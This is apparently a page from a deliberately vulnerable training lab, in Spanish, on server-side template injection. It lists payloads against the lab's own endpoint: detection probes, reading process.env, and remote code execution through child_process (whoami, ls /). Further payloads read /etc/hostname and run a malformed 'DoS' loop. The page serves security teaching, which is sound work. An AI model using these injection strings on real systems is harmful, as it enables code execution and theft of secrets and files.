CRITICAL

Server-Side Template Injection (SSTI)

Ejecución de código a través de plantillas del servidor mediante inyección de expresiones

Intermedio

Modo Reto activo — explora libremente. Activa el Modo Tutorial si necesitas orientación.

Ejemplos de explotación:

Detección — expresión matemática

Si devuelve 49 en lugar de {{7*7}}, hay SSTI

/api/lab/ssti?template={{7*7}}
Detección — multiplicación concatenada

Jinja2/Twig: devuelve 7777777 si es vulnerable

/api/lab/ssti?template={{7*'7'}}
Detección — Handlebars

Handlebars evalúa {{#with "s" as |string|}}{{string}}{{/with}}

/api/lab/ssti?template={{#with "s" as |string|}}s{{/with}}
Acceso a process.env (Node.js)

Leer variables de entorno del servidor

/api/lab/ssti?template={{process.env}}
Cadena prototipo — constructor

Acceder al constructor de Function para ejecutar código

/api/lab/ssti?template={{constructor.constructor('return process')()​}}
RCE — execSync whoami

Ejecución remota de código obteniendo usuario del sistema

/api/lab/ssti?template={{this.process.mainModule.require('child_process').exec('whoami')}}
RCE — listar directorio raíz

Listar / del servidor

/api/lab/ssti?template={{this.process.mainModule.require('child_process').execSync('ls /').toString()}}
Leer /etc/hostname via fs

Acceso al sistema de archivos mediante require('fs')

/api/lab/ssti?template={{this.process.mainModule.require('fs').readFileSync('/etc/hostname','utf8')}}
DoS — bucle infinito (cuidado)

Un template loop puede colgar el proceso (NO ejecutar en prod)

/api/lab/ssti?template={{range(1,10000).__class__.__bases__}

Vulnerabilidad Crítica

Este endpoint renderiza plantillas con entrada del usuario sin sanitización. Un atacante puede inyectar expresiones de template para ejecutar código arbitrario en el servidor, acceder a objetos del sistema, o leer archivos sensibles.

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos

© 2025 Aitana Security Lab